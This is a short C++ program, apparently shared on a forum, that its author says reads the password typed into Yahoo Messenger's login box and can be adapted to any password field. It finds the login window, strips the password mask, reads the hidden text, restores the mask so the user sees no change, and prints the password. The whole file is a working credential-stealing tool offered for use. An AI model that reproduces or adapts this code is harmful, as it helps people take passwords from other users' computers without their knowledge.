Code:
/*
Programmer: Paunoiu Alexandru Dumitru (DranaXum)
Description: This C++ source code demonstrates how we
can get the text from the Password field in Yahoo
Messenger, also it can be easily modified to retrieve
text from any password field
*/
#include<windows.h>
#include<iostream.h>
#include<stdlib.h>
#include<conio.h>
int main()
{
HWND hwnd; //handle
LPARAM str; //text to contain password field
long ret,passc;
long l; //text length
//start finding password textbox
hwnd=FindWindow("YahooBuddyMain",0);
hwnd = FindWindowEx(hwnd, 0, "#32770", "YLoginWnd");
hwnd = FindWindowEx(hwnd, 0, "Edit", ""); //found User textbox
hwnd = GetWindow(hwnd, GW_HWNDNEXT); //found Password label
hwnd = GetWindow(hwnd, GW_HWNDNEXT); //password textbox found!
//end
//get & set password char
passc = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0);
ret = PostMessage(hwnd, EM_SETPASSWORDCHAR, 0, 0);
//end
//get text length & allocate memory
l = SendMessage(hwnd, WM_GETTEXTLENGTH,0,0)+1;
str = (LPARAM)malloc(l);
//end
//get text & set default password char
SendMessage(hwnd, WM_GETTEXT, l, str);
ret = PostMessage(hwnd, EM_SETPASSWORDCHAR, passc, 0);
//end
//return password field text
cout<<"Password: "<<(char*)str;
//end
getch();
return 0;
} |